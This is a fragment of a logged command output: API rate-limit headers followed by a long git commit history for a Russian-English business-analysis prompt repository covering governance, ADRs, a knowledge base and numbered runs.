\"1790679600\",\n[2026-09-29T07:45:45.133Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:45.140Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:45.145Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:45.151Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:45.158Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:45.161Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:45:45.170Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:45.177Z] [STDOUT]   \"request-id\": \"req_011CfXMn9R5XKMtjbvnPSGB3\",\n[2026-09-29T07:45:45.180Z] [STDOUT]   \"traceresponse\": \"00-c58a57665c356fad1b2b2d1b4f7a599b-944d7aef3e3f4641-01\",\n[2026-09-29T07:45:45.188Z] [STDOUT]   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governance: add BACKLOG.md for mango migration phase 1\\nb741a00 2026-06-03 chore: remove technical root .gitkeep (real content present)\\nd7b1ae3 2026-06-03 fix: rename classification contract to kebab-case and resolve kb/glossary ambiguity in backlog\\n1550ee8 2026-06-03 fix: record founder decisions Q1-Q4 and resolve naming/path inconsistencies\\n9561184 2026-06-04 governance: materialize migration backlog into 9 executable issues with individual modes\\nb2d2b16 2026-06-04 project: create 9 GitHub Issues for Phase 1 migration\\n49d81a9 2026-06-04 docs: rewrite README.md as standalone Mango BA Prompts spoke (M-001)\\nf3537ed 2026-06-04 structure: create phase 1 migration folders\\n644d28e 2026-06-04 docs: add temporary prompt workflow\\n4745f25 2026-06-04 standards: copy hub glossary for M-003\\n01fae51 2026-06-04 standards: migrate product classification contract\\n94b04c1 2026-06-04 migration: add Mango prompt experiments\\nee90e7b 2026-06-04 prompts: normalize migrated Mango prompt assets\\nee9c7a1 2026-06-05 docs: add hub research dependency registry (M-007)\\n8deffc8 2026-06-05 [M-009] governance: \u0441\u043e\u0437\u0434\u0430\u0442\u044c Migration Manifest \u043a\u0430\u043a \u0441\u043d\u0438\u043c\u043e\u043a \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0438\\ne90780f 2026-06-10 sync: align governance files with Hub after PR #208\\n23cecec 2026-06-10 chore: remove .gitkeep placeholder now that governance sync ships real content\\nf0ecbb9 2026-06-10 fix: remove leaked tool-call markup from end of ADR-0001\\n53bdb42 2026-06-10 fix: pin Hub links in handover prompt to permalink SHA 117e4a55 (D8 consistency)\\n708af2d 2026-06-10 docs: update AI_SESSION_HANDOVER_PROMPT.md with team role and template checks\\n3a265e6 2026-06-10 chore: migrate attached BA prompt file to prompts/drafts (issue #54)\\n5c9e923 2026-06-10 chore: remove auto-generated .gitkeep scaffolding\\nd8a4759 2026-06-11 refactor: split BA prompts draft into 23 standardized files (#56)\\nf26e5a5 2026-06-11 docs: log issue #56 prompt split in CHANGELOG (## Unreleased)\\nc8db751 2026-06-11 chore: remove auto-generated .gitkeep scaffolding\\na45cd17 2026-06-11 hotfix: correct prompt legacy placement\\n00d2072 2026-06-11 docs: add taxonomy of 13 cognitive operations and 9 BA processes (#52)\\nfa2439e 2026-06-11 docs: add RFC for transferring best practices to the Hub (#52)\\n142c6a1 2026-06-11 chore: add patterns/, docs/ba-processes/ index and open-questions template (#52)\\n430fe9b 2026-06-11 docs: add prompt and pattern standards contracts (#52)\\n060e740 2026-06-11 chore: add lightweight prompt feedback issue template (#52)\\n62dba62 2026-06-11 docs: add strategy section to README, fix structure table, changelog entry (#52)\\n748ff6d 2026-06-11 docs: add prompt standard ADR (#63)\\nc3650fa 2026-06-11 chore: remove generated gitkeep scaffold\\n6418fc8 2026-06-11 docs: add BA ecosystem map and process workflows\\nb8a327c 2026-06-11 docs: make creative governance mode-aware (#61)\\nc2eeea2 2026-06-11 test: add issue 61 governance validation\\n0de1cc0 2026-06-11 docs: add pattern standard ADR (#64)\\nb0494b0 2026-06-11 docs: use accessible pattern source link\\n791a399 2026-06-12 docs: add prompts navigation README\\n35461ed 2026-06-13 structured: sync latest hub updates (session digests, terminology) to mango_ba_prompts\\nb64ff6a 2026-06-13 chore: remove generated PR placeholder\\n1f988f7 2026-06-13 structured: sync hub pr229 pr230 relevance updates\\n7abb590 2026-06-13 structured: align remaining role terminology\\n457a569 2026-06-13 structured: record hub session sync digest (2026-06-14)\\n7d523d6 2026-06-13 chore: remove generated PR placeholder\\n9eef477 2026-06-13 creative: GitHub Pages interface for mango_ba_prompts\\n4553075 2026-06-13 feat(prompts): add session-debug-documentation-oneshot summarizer\\nd8b5bfd 2026-06-13 refactor: consolidate open questions in backlog\\n114dc8e 2026-06-13 chore: remove bootstrap placeholder\\ne211e16 2026-06-15 docs: expand BA process map\\n23115c6 2026-06-15 docs: add MVP BA pattern library\\na6a45f9 2026-06-15 feat: add Mango Office Pages widget\\nce1e985 2026-06-15 Auto-commit: Changes made by Claude during problem-solving session\\n7a6f06e 2026-06-16 feat(prompts): add id+title frontmatter, remove EXPERIMENTAL marker\\n7102f47 2026-06-16 feat(pages): strip frontmatter on copy, show title+id in cards and README\\nf290522 2026-06-16 docs: update ADR #001, standard and CHANGELOG for id+title fields\\n141c8a5 2026-06-16 chore: add issue #92 metadata scripts and ignore playwright artifacts\\nde08671 2026-06-16 feat(pages): catalog-first layout, ordered cascade filters, \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 module\\nb47ff12 2026-06-16 feat(data): generate checks.json for \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 module (\u0424\u0422-6)\\nbdfc11f 2026-06-16 test(ci): add issue-91 regression validator to Pages workflow\\nce12a64 2026-06-16 docs: document issue #91 enhancements, dir decision, screenshots (\u0424\u0422-5/\u0424\u0422-7)\\n82c7107 2026-06-16 fix: add prompt ID as HTML comment prefix when copying (#95)\\n14bb123 2026-06-16 docs(adr): add ADR-003 BA ontology (Artifact\u2194Process\u2194Operation) for \u0424\u0422-1\\n6202475 2026-06-16 docs(adr): add ADR-004 operations taxonomy revision for \u0424\u0422-2\\nebe1b21 2026-06-16 docs(adr): add ADR-005 artifact/standards/team naming for \u0424\u0422-3\\nda8a827 2026-06-16 ADR-006: prompt naming \u2014 parse algorithm, anti-overload rules, KB-prompts (\u0424\u0422-4)\\n37dc51c 2026-06-16 ADR-007: KB standard before real RAG \u2014 citation format, glossary sync, pre-RAG (\u0424\u0422-5)\\n083f6ff 2026-06-16 ADR-008: industry-standards & best-practices standard \u2014 terminology, application rules, verified registry (\u0424\u0422-6)\\n1885f7d 2026-06-16 ADR-009: multi-level BCREQ formation process \u2014 6 subprocesses, human gates, unfinished-subprocess mechanism (\u0424\u0422-7)\\nbaa8652 2026-06-16 feat: optimize GitHub Pages into multi-page SPA (#99)\\nd6b29f0 2026-06-16 feat(pages): process/subprocess tree showing only items with prompts (\u0424\u0422-8)\\n9893ebb 2026-06-16 docs(adr): ADR-010 + pages-ux-standard for GitHub Pages process tree (\u0424\u0422-8)\\n2cc0a2e 2026-06-16 chore(issue-97): validator, CI wiring, \u0424\u0422-9 examples, changelog & docs\\n0363a44 2026-06-16 \u0410\u043d\u0430\u043b\u0438\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027: \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u044b \u043f\u043e \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u043c, \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 (#101)\\n286847e 2026-06-16 docs(\u0424\u0422-8): refresh screenshots for SPA-integrated process tree\\nde05672 2026-06-16 fix: UI catalog fixes \u2014 cards, filters, sorting, toolbar (Issue #103)\\n2abf5e6 2026-06-16 \u041e\u0442\u043a\u0430\u0442 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 #101: \u0432\u043e\u0437\u0432\u0440\u0430\u0442 \u043a v0.1 + \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n11eda91 2026-06-16 feat(governance): sync mango contracts with Hub (issue #105)\\n7fb2b3b 2026-06-17 feat(experiments): \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 BCREQ-1025 \u0438 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c RFC (issue #107)\\n0a4ff4f 2026-06-18 fix(analysis): \u0443\u0447\u0435\u0441\u0442\u044c \u0440\u0435\u0432\u044c\u044e G-Ivan-A \u2014 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u04114, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044f (issue #107)\\n8b20fb6 2026-06-18 feat(ba-process): dogfooding-\u0440\u0430\u0437\u0431\u043e\u0440 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043e \u043c\u043d\u043e\u0433\u043e\u043a\u0430\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0430\u0433\u0435\u043d\u0442\u0430 (issue #109)\\n0f93cdb 2026-06-18 chore: \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c .gitkeep \u0434\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f main (\u0443\u0431\u0440\u0430\u0442\u044c \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0443\u044e \u043c\u0435\u0442\u043a\u0443)\\na3784c4 2026-06-18 feat(kb): document-ingestion pipeline and neutral KB layout (issue #111)\\n482b316 2026-06-18 ci(kb): Makefile, GitHub Actions workflow, and regression validator (issue #111)\\n29009ab 2026-06-18 docs(kb): experiment report and CHANGELOG (issue #111)\\n0e68c42 2026-06-18 chore(kb): \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c .gitkeep \u0434\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f main (\u0443\u0431\u0440\u0430\u0442\u044c \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0443\u044e \u043c\u0435\u0442\u043a\u0443)\\nb3e9070 2026-06-19 Create .gitkeep\\n61cfb4c 2026-06-19 Add files via upload\\nb24f1a5 2026-06-19 Create meta.json\\nc4828f9 2026-06-19 fix(kb): generate mango manual knowledge base\\n20fb1d4 2026-06-19 Create .gitkeep\\n4fa7c4f 2026-06-19 Add files via upload\\neec644d 2026-06-19 Create meta.json\\nff93ebf 2026-06-19 fix(kb): add multi-part PDF traceability\\ndeb9ae8 2026-06-19 Enable LFS for PDF\\nfa9ba48 2026-06-19 \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u044b PDF \u0434\u043b\u044f CC \u0438 LK\\n7bb9921 2026-06-19 \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b 6 \u0447\u0430\u0441\u0442\u0435\u0439 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u041a\u0426\\na3fd5b8 2026-06-19 fix(kb): support multi-part CC PDFs with LFS\\n0dac44b 2026-06-19 chore: remove placeholder gitkeep update\\n3bc5065 2026-06-20 Create .gitkeep\\n84d436d 2026-06-20 \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430 mTalker (\u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e)\\n1f08f00 2026-06-20 Create meta.json\\n007ba67 2026-06-20 feat(kb): support manifest-driven multi-file sources\\nb4269ad 2026-06-20 feat: create runs/ with execution contract\\nc4163a1 2026-06-20 feat: apply cascading context loading pattern to critical hotspots\\n0b9a57a 2026-06-20 \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u043e\u0432\u044b\u0435 \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0438 \u043c\u0435\u0442\u0430-\u0444\u0430\u0439\u043b\u044b: QM, SSO, API, SIP, \u0440\u043e\u043b\u0438, \u0440\u0435\u0447\u0435\u0432\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, wallboard, \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438\\n8cddf5a 2026-07-03 docs: report KB state after LFS cleanup\\n8feff69 2026-07-03 chore: drop placeholder gitkeep update\\n3e18b3a 2026-07-03 fix: validate KB after LFS cleanup\\ndd20da9 2026-07-14 feat: add RUN-0012 \u2014 \u0424\u0422 for BCREQ-1069 restricted API key (issue #261)\\n16146fd 2026-08-17 docs: \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\u0438\u0434\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 (issue #263)\\nca2ee5c 2026-08-17 docs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e \u0445\u0430\u0431\u043e\u0432\u043e\u043c RFC \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u043e\u0432 \u0411\u0410-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 (issue #263)\\n7e2a94f 2026-08-17 feat: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0440\u0435-\u0441\u0438\u043d\u043a \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u0438 \u0425\u0430\u0431\u0430 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0431\u0438\u0442\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a (issue #265)\\n91de9b8 2026-08-17 chore: \u043d\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u044c __pycache__ \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n389c823 2026-08-17 docs: ADR-0004 \u043e \u0440\u0435-\u0441\u0438\u043d\u043a\u0435 \u0425\u0430\u0431\u0430 \u0438 \u0440\u0435\u0435\u0441\u0442\u0440 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 \u0441\u043f\u0438\u0446\u044b (issue #265)\\neb46312 2026-08-17 docs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435-\u0441\u0438\u043d\u043a \u0432 CHANGELOG, \u043a\u0430\u0440\u0442\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438 \u043c\u043e\u0441\u0442\u0435 \u0432 \u0425\u0430\u0431 (issue #265)\\n04394b3 2026-08-17 test: \u044e\u043d\u0438\u0442-\u0442\u0435\u0441\u0442\u044b \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u043d\u0438\u044f \u0441\u0441\u044b\u043b\u043e\u043a \u0438 \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u043a\u043e\u0434\u0430 (issue #265)\\nc70600e 2026-08-17 docs: \u0441\u043d\u044f\u0442\u044c \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044f \u0440\u0435\u0432\u044c\u044e \u043f\u043e \u0432\u0438\u0434\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0435\u043a\u0442\u0430 (issue #263)\\n2f56205 2026-08-18 refactor: \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0442\u0438 governance/ \u0432 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0425\u0430\u0431\u0430 (pr-ops/, ai-rules/, docs/rfc/, docs/audit/, standards/) \u2014 issue #265\\n2ac3409 2026-08-18 docs: \u0441\u0432\u0435\u0440\u043a\u0430 \u043c\u0430\u043d\u0438\u0444\u0435\u0441\u0442\u0430 \u0441 T-00 \u0438 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0440\u0435\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0437\u0430\u0446\u0438\u0438 (issue #265)\\ne5e84d0 2026-08-21 feat: \u0430\u043a\u0442\u0443\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f onboarding-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u0434\u043e v1.5 \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0425\u0430\u0431\u0430 (issue #267)\\nfcd7ec0 2026-08-21 feat(runs): \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 (BCREQ-1059, \u043b\u0438\u043c\u0438\u0442\u044b \u0438 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u044b \u0440\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439)\\n00a1960 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 (\u0437\u0430\u0434\u0430\u0447\u0430 1075, amoCRM) \u2014 issue #269\\nd67d921 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 (\u0437\u0430\u0434\u0430\u0447\u0430 1076, \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0412\u041a\u0421 \u2192 BPMSoft) \u2014 issue #270\\n6db5ad1 2026-08-21 runs: \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c inputs RUN-0013 (\u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0430 1079, \u0432\u0445\u043e\u0434 \u0424\u0422 v1.0, \u0432\u044b\u0436\u0438\u043c\u043a\u0430 \u0444\u0430\u043a\u0442\u043e\u0432 \u0411\u0417) \u2014 issue #271\\nc52e553 2026-08-21 feat: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 \u043f\u043e \u043a\u0435\u0439\u0441\u0443 1064 (issue #272)\\n2e40029 2026-08-21 runs: \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c outputs, feedback, logs \u0438 metadata RUN-0013 \u2014 issue #271\\n5d70a60 2026-08-21 docs: \u0440\u0435\u0435\u0441\u0442\u0440 runs, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 metrics \u0438 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0434\u043b\u044f RUN-0013 (issue #271)\\n60b63d2 2026-08-21 runs: \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 \u2192 RUN-0014 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 main)\\n60553dd 2026-08-21 runs: \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 \u2192 RUN-0014 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 main)\\n0dd5154 2026-08-21 docs(audit): \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0440\u0438\u0447\u0438\u043d \u0434\u0440\u0435\u0439\u0444\u0430 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (issue #291)\\n424e8cc 2026-08-21 chore(experiments): \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0438 (issue #291)\\n091c768 2026-08-21 refactor(structure): \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u0440\u0435\u043d\u044c \u0438 \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0430\u0440\u0445\u0438\u0432 (issue #291)\\n2a3abcd 2026-08-21 test(structure): \u0437\u0430\u043c\u043e\u043a \u043d\u0430 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 HTOM-\u043a\u043e\u043c\u0430\u043d\u0434\u044b (issue #291)\\ncaa2209 2026-08-21 docs: CHANGELOG 0.5 \u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442 \u0434\u0435\u0444\u0435\u043a\u0442\u0430 \u0433\u0435\u043d\u043e\u043c\u0430 \u0432 \u0425\u0430\u0431 (issue #291)\\nd2ae9d7 2026-08-21 chore: \u0443\u0431\u0440\u0430\u0442\u044c \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0439 .gitkeep \u0438\u0437 \u043a\u043e\u0440\u043d\u044f\\n798a5d3 2026-08-21 runs: RUN-0013 \u2192 RUN-0017, \u043e\u0442\u043a\u0430\u0442 site/data, \u0430\u0443\u0434\u0438\u0442 \u0433\u0440\u0430\u043d\u0438\u0446 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d (issue #270)\\ndb54905 2026-08-21 runs: \u044f\u0432\u043d\u043e\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0442\u0438\u043f\u043e\u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 (issue #293)\\nf5577fd 2026-08-21 docs: \u043f\u043e\u043c\u0435\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0430 \u0447\u0430\u0442\u0430 \u043a\u0430\u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 (issue #270)\\n2e1065f 2026-08-21 runs: \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0432\u044b\u0431\u043e\u0440\u0430 \u0442\u0438\u043f\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0437\u0430\u0434\u0430\u0447\u0438, \u0440\u0435\u0432\u0438\u0437\u0438\u044f \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0438 (issue #293)\\nd10f42b 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 \u2192 RUN-0018 \u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u0442\u044c site/data (issue #271)\\ncc053c8 2026-08-21 refactor: \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0013 \u2192 RUN-0019 \u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u0442\u044c site/data (issue #272)\\n9c51f1c 2026-08-21 runs: RUN-0020 \u2014 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430 1065 (\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u041e\u041e\u041e \u00ab\u04107-\u0410\u00bb), run_type: statistics (issue #273)\\n914641f 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 975 \u043a\u0430\u043a RUN-0020 (issue #274)\\n9905f26 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0020 \u2192 RUN-0021 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 upstream/main)\\na78ea2b 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 765 \u043a\u0430\u043a RUN-0021 (issue #276)\\nbe22ef2 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0021 \u043f\u043e \u0437\u0430\u0434\u0430\u0447\u0435 1040 (issue #275)\\n8d530dd 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0021 \u2192 RUN-0022 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 main \u0438 PR #297)\\n5561ef4 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d 765 RUN-0021 \u2192 RUN-0022 (\u043d\u043e\u043c\u0435\u0440 \u0437\u0430\u043d\u044f\u0442 \u0432 upstream/main, PR #296)\\n109404f 2026-08-21 runs: RUN-0021 \u2014 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430 59295 (\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0424\u0422 \u00ab\u041f\u0435\u0440\u0435\u0441\u043b\u0430\u0442\u044c\u00bb \u0432 e-mail-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0438), run_type: statistics (issue #278)\\n4bc947d 2026-08-21 merge: \u0432\u043b\u0438\u0442\u044c upstream/main \u0432 \u0432\u0435\u0442\u043a\u0443 issue #276 (\u043f\u0440\u043e\u0433\u043e\u043d 765 \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d RUN-0021 \u2192 RUN-0022)\\n2d4324b 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0021 \u2192 RUN-0023 (\u043d\u043e\u043c\u0435\u0440\u0430 0021/0022 \u0437\u0430\u043d\u044f\u0442\u044b \u0432 main \u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 PR)\\n2d9e0f1 2026-08-21 runs: \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d 1020 (RUN-0021) \u043a\u0430\u043a statistics \u2014 issue #277\\n9930874 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0021 \u2192 RUN-0023 (RUN-0021 \u0437\u0430\u043d\u044f\u0442 \u0432 main) \u2014 issue #277\\n05d2ce8 2026-08-21 runs: \u043f\u0435\u0440\u0435\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u043e\u043d RUN-0022 \u2192 RUN-0023 (\u043d\u043e\u043c\u0435\u0440 